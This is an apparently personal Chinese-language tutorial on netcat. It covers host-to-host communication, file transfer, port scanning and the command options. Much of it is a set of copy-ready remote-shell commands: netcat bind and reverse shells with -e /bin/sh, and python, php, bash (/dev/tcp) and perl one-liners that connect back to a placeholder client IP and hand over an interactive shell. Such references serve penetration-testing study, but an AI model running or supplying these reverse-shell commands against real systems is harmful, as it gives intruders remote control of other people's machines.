Netcat(网络中的瑞士军刀)
参考1:https://blog.csdn.net/mooke/article/details/10580461
参考2:https://www.jianshu.com/p/31afcadd2a7b
参考3:https://www.freebuf.com/sectool/168661.html
0x01 功能
设置反向和绑定shell,管道和重定向网络流量,端口侦听,调试程序和脚本以及Banner抓取等。
0x02 原理
从网络的一端读入数据,然后输出到网络的另一端,它可以使用tcp和udp协议。
0x03 使用方式
- 主机间通信
A(服务端)
netcat -l 10000
B(客户端)
netcat A的ip 10000
- 单个文件传输
客户端的文件名不必与服务端所传输的文件名一致
A(服务端)
netcat -l 2000 <A.txt
B(客户端)
netcat A的ip 2000 >B.txt
- 创建远程shell
#正向shell
A(服务端)
netcat -lvp 1000 -e /bin/sh
B(客户端)
netcat A的ip 1000
#反向shell
A(服务端)
netcat B的ip 2000 -e /bin/sh
B(客户端)
netcat -lvp 2000
特殊情况(目标机没有netcat)
1、python反向shell
服务端/目标机终端执行:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("客户端/主机ip",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
客户端/本地主机终端执行:
nc -lvp 8888
客户端先运行,服务端再运行。
2、php反向shell
服务端/目标机终端执行:
php -r '$sock=fsockopen("客户端/主机ip",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
服务端需要php环境
客户端/本地主机终端执行:
nc -lvp 8888
3、bash反向shell
服务端/目标机终端执行:
bash -c 'bash -i >& /dev/tcp/客户端ip/8888 0<&1 2>&1'
客户端/本地主机终端执行:
nc -lvp 8888
注意
执行bash -i>&/dev/tcp/客户端ip地址/8888 0>&1
命令bash反向shell时会出现“不存在xxx目录”的问题。
原因:/dev/tcp/host/port 其实是一个 bash 的 feature(特性);由于是 bash
的 feature,因此在别的 shell
下就不能生效。
解决方式
4、perl反向shell
服务端/目标机终端执行:
perl -e 'use Socket;$i="客户端ip";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
客户端/本地主机终端执行:
nc -lvp 8888
- 检测某主机的port1-port2的开放端口及详细信息
nc -v -z 主机ip port1-port2
- 本地端口监听并保存监听日志
注意监听的端口不要产生冲突
nc -l -p 8888 >log.txt
- 连接远程系统
nc 目的ip 80
- ftp匿名探测
nc 目的ip 21
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 在线帮助;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 乱数指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 显示指令执行过程;
-w <超时秒数> 设置等待连线的时间;
-z 使用0输入/输出模式,只在扫描通信端口时使用。